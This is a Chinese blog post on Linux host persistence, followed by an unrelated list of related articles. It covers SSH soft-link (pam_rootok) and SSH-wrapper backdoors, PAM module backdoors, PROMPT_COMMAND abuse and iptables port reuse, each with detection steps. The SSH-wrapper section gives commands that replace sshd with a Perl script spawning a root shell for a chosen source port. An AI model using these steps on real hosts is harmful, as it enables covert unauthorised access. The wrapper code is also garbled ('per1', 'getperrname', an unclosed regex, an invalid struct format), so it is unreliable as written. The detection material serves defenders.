Linux主机持久化技术

server/2025/3/19 9:11:30/

1.SSH软连接后门

SSH服务允许通过PAM进行认证,关键文件:sshd_config;确保UserPAM的值为YES 我们可以看一下/etc/ssh/sshd_config的配置,ssh是客户端配置,sshd是服务端配置

如上可以知道这个是允许PAM认证的 在linux中存在模块pam_rootok.so,该模块允许uid为0的用户可以直接通过认证而不需要输入正缺的用户名和密码,就是说root不需要正确用户名和密码就可以登录 PAM模块使用/etc/pam.d下的文件来管理程序的认证方式,党对应程序的文件中调用了pam_rootok.so时,该程序可以用来生成pam后门

排查文件中是否存在pam_rootok这个模块

这四个都可以用来生成软连接后门的 例如,创建软连接,指向一个usr/sbin/sshd的文件软连接,名称/tmp/su;执行软连接文件,开启12345端口的监听

然后我们查看tmp目录就可以看到这个软连接了,权限是777

利用软连接后门,使用ssh登录时,指定端口为12345,输入任意密码即可登录

2.排查操作 当攻击者正在连接的时候,我们可以通过netstat -anptu查看网络连接判断后门

通过ps -ef来排查

检查登录日志,ubuntu的系统登录日志为auth.log,centos为secure

正常的ssh登录是ssh session。而这个确是su sessioin说明是有问题的

软链接后门的条件是开启啦pam_rootok模块

2.SSH Wrapper后门

原理是:创建SSH Wrapper后门,sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端口进行判断

cd /usr/sbin/
mv sshd ../bin/
echo "#!/usr/bin/per1">sshd
echo 'exec "/bin/sh" if(getperrname(STDIN)=~/^..4A);'>>sshd   //..4A是一个13377编码的端口号
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,'>>sshd
chmod u+x sshd
/etc/init.d/sshd restart
使用socat远程连接
socat STDIO TCP4:10.20.125.57:22,sourceport=13377
端口指定方法
import struct
print  repr(struct.pack('>I6',13377))

为什么要从/usr/sbin移动到bin呢,因为linux在执行程序的时候会按照echo $PATH输出的顺序进行查找,然后首先查找的应该是bin而不是sbin

排查方式,which sshd 然后cat sshd
stat sshd netstat -antpu 特点是从日志中无法看到相应的内容

3.PAM后门

PAM是由sun提出的一种认证机制,它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活的根据需要给不通的服务配置不通的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段 实际上就是承担了服务和应用程序之间的一个接口

pam模块,在/etc/pam.d下,与服务名称相对应的文件即为该服务的pam验证文件,比如sshd为sshd服务的验证规则

在/lib/security下,为pam会调用的模块,pam后门通常是对pam_unix.so模块进行利用,该模块的auth类型为提示用户输入密码,并与/etc/shadow文件相对比,匹配返回0(PAM_SUCCESS) dpkg -s libpam-modules | grep -i version //ubunt&debain查看pam版本 rpm -qa | grep pam //查看centos的pam版本

下载对应的源码包

进入对应的路径下,添加或修改代码

之后需要进行编译,在ubuntu中需要安装两个依赖

排查: 1.检查pam.so文件的时间 2.使用IDA进行分析,查看类似密码的痕迹 3.排查文件的内容

4.bash的PROMPT_COMMAND

在Linux中,bash提供了一个环境变量PROMPT_COMMAND,这个环境变量的内容会在每条shell中的命令执行结束后,下一个shell返回前执行,通常情况下,运维人员会用该环境变量来记录每个用户执行命令的时间,IP等信息 在攻击者的工作中,则可以利用该环境变量的特性,进行权限维持 第一个是一次性,第二个是持久化的,第二个写入到/etc/profile中即可实现

连接方式可以通过nc进行连接 排查可以通过echo $PATH或者检查/etc/profile和.bash_profile的内容 通过netstat -anput可以看到有一个对外连接是python的,这个就是后门,0.0.0.0是对外任意ip地址都可以连接,是模糊匹配

5.iptables的端口服用

iptables实现对数据包的过滤和nat转换功能,底层基于Netfilter实现,netfilter是出于内核空间,由信息包过滤表组成,而iptables是处于用户空间,实现对信息包过滤表中规则的插入,删除和修改

netfilter在ring0级别,CPU运行的最高级别,iptables在ring3级别CPU最低级别

iptables由表,链,规则组成

iptabels的5中表
filter表      用于过滤
nat表         地址转换,改变数据包的源地址或目标地址
mangle表      修改ip包的头部信息
raw表         不经过状态追踪机制,通常是为了不让iptables做数据包的链跟踪处理,提高性能
security表     在数据包中加入SElinux功能


http://www.ppmy.cn/server/176202.html

相关文章

计算机视觉算法实战——实例分割(主页有源码)

✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连✨ ​​ ​​​​​​ ​ ​ 1. 引言 1.1 实例分割领域简介 实例分割(Instance Segmentation)是计算机视觉领域的一个…

计算机视觉——深入理解卷积神经网络与使用卷积神经网络创建图像分类算法

引言 卷积神经网络(Convolutional Neural Networks,简称 CNNs)是一种深度学习架构,专门用于处理具有网格结构的数据,如图像、视频等。它们在计算机视觉领域取得了巨大成功,成为图像分类、目标检测、图像分…

春秋云境刷题1

CVE-2022-29464 靶标介绍: WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。 Git…

【Netty】SimpleChannelInboundHandler如何根据数据类型处理消息

类匹配机制 SimpleChannelInboundHandler在构造时,会通过泛型获取要处理的消息类型在经过解码器处理后,netty会根据具体的消息类型,将其传递给能够处理该类型的 handler 工作流程 解码器 ---->消息类型判断 ----> 对应类型的Simple…

使用Flask和OpenCV 实现树莓派与客户端的视频流传输与显示

使用 Python 和 OpenCV 实现树莓派与客户端的视频流传输与显示 在计算机视觉和物联网领域,经常需要将树莓派作为视频流服务器,通过网络将摄像头画面传输到客户端进行处理和显示。本文将详细介绍如何利用picamera2库、Flask 框架以及 OpenCV 库&#xff…

Linux文件

1.Open函数 高频使用的Linux系统调用:open write read close Linux自带的工具:man手册: man 1是普通的shell命令,比如ls man 2是系统调用函数,比如open,write说明 在Linux系统库的定义: int o…

LEED绿色建筑评价五大指标

LEED(Leadership in Energy and Environmental Design)绿色建筑评价体系包含五大核心指标,具体如下: 可持续场地(Sustainable Sites, SS) 评估建筑选址、土地利用、交通便利性及对周边环境的影响。 鼓励减…

实战设计模式之解释器模式

概述 作为一种行为设计模式,解释器模式提供了一种方法来定义语言的文法规则,并通过这些规则解析和处理特定类型的语言句子。简单来说,解释器模式允许我们定义一个代表某种语言中语法规则的对象结构,从而能够根据这些规则理解并处理…